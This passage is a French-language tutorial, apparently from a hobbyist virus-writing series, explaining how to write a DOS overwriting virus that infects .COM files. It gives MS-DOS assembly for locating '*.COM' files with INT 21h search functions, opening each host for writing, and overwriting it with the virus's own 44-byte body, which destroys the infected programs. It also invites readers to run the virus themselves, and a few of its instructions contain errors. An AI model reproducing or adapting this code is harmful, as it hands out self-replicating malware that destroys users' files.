Voilà.J'espère que vous y comprendrez quelquechose.
Voyons maintenant de plus prêt le fonctionnement de la routine de recherche.
1.1Fonction de recherche
Le DOS conserve les informations des fichiers dans 2 zones du disques (FAT).
Le répertoire contient un champ de 32 octets qui contient les nom, date, taille, extension
et attributs des fichiers.La FAT est donc un plan du disque.Chaque disque contient 2 FAT.
La FAT et le répertoire Root sont toujours situé à la même place sur tous
les disques.
Le DOS nous facilite bien le travail en recherchant et en ouvrant lui même
le fichier qu'on lui indique.Il suffit pour cela d'appeler la bonne interruption
du DOS et de placer des valeurs correctes dans les registres du CPU.
Par exemple,
mov
dx,OFFSET FNOM
xor
al,al
mov
ah,3DH
int
21H
Cette routine ouvre un fichier dont le nom est stocké dans FNOM.On a ici indiqué au DOS
de localiser et de préparer le fichier pour une lecture.
Il en est de même pour les groupes de fichiers ou les répertoire.Il
suffit de déclarer un répertoire ou un nom avec la syntaxe :
Db
'Chemin\nom_de_fichier.ext'
Bien sure, le caractère * et ? sont des jokers comme dans le prompt du DOS.
On va rechercher un premier fichier .COM puis ,si on en a un,on en cherche un second,...
On utilisera pour ça une première fonction de recherche, puis une seconde
pour les fichier suivants.
La première routine ressemble à ça:
CH_UN:
mov dx,OFFSET FICHCOM
;qui pointe sur la chaine '*.COM'.
mov ah,4EH
;Fonction premiere de recherche
int 21H
;appelle le DOS.
jc PASFICH
;si pas de fichier trouvé
TROUVE:
;Viens ici si fichier trouvé
FICHCOM Db '*.COM',0
;Chaine ASCII
Si la recherche donne un résultat,la seconde recherche est appelée.Elle
est beaucoup plus simple car les paramètres on été fixés précédement.
mov ax,4FH
int 21h
jc PASFICH
TROUVE2:
1.2 Fonction de réplication.
On a vu comment le virus trouvait son programme hôte.Maintenant,son code doit ouvrir l'hôte puis écrire son code dans
le programme hôte, en l'écrasant puisqu'il s'agit d'un virus à recouvrement.
Pour ouvrir l'hôte, le virus fait appel à la fonction 3Dh de l'interruption 21h.Les droits d'accès sont spécifiés dans le registre
al qui prend la valeur 1 (écriture seule).DX:DS pointe vers le fichier trouvé
dont le nom est stocké dans FNOM à l'adresse 9EH.
Le code est donc le suivant:
mov ax,3D01H
mov dx OFFSET FNOM
int 21H
DOS renvoie ensuite un numéro d'identification du fichier dans ax qui devra être
placé en bx pour toutes les manipulations.On utilisera donc l'instruction "mov bx,ax".
Ensuite, le virus appelle la fonction 40H de int 21h pour copier son code.C'est ds:dx qui pinte à l'endroit où les données seront écrites.
Ici, la position est ds:100h puisque le code s'écrit au début du fichier (recouvrement).
C'est ici cx porte le nombre d'octets à écrire, et dx pointe vers les données à écrire.
on obtient le code suivant:
mov bx,ax
mov dx,100h
mov cx,44
mov ah,40h
int 21h
Vous remarquez que ce code est très simple,aussi bien dans sa tructure que dans son
éxécution.Evidement, il n'est pas très performant,mais il ne fait que 45 octets, ce qui est très peu.
Le principale défaut de ce type de virus ( recouvrement ) tient dans le fait qu'il détruit tout ce qu'il infecte
et ne peut donc pas passer inaperçu bien longtemps.
Je vous laisse cojiter la dessus pour la première partie.Si jamais vous exécutez ce virus, vous n'avez qu'à lancer les programmes
du même répertoire pour savoir s'ils sont contaminés.Vous n'avez qu'a les effacer puis les remplacer par une sauvegarde
pour récuperer un répertoire sain.
La prochaine partie sera consacrée aux virus compagnons simples infecteurs
de .COM
-=Shin=-